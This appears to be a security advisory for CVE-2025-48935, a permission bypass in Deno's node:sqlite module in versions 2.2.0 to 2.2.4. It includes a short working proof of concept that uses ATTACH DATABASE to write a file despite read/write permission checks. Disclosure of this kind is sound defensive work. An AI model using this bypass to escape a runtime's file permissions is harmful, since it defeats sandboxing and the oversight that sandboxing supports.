--allow-read / --allow-write permission bypass in `node:sqlite`
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```
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describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2025-48935US | critical9.1OT elevated | — | ||
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permissio… | ||||
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references
External citations — patches, advisories, analysis.
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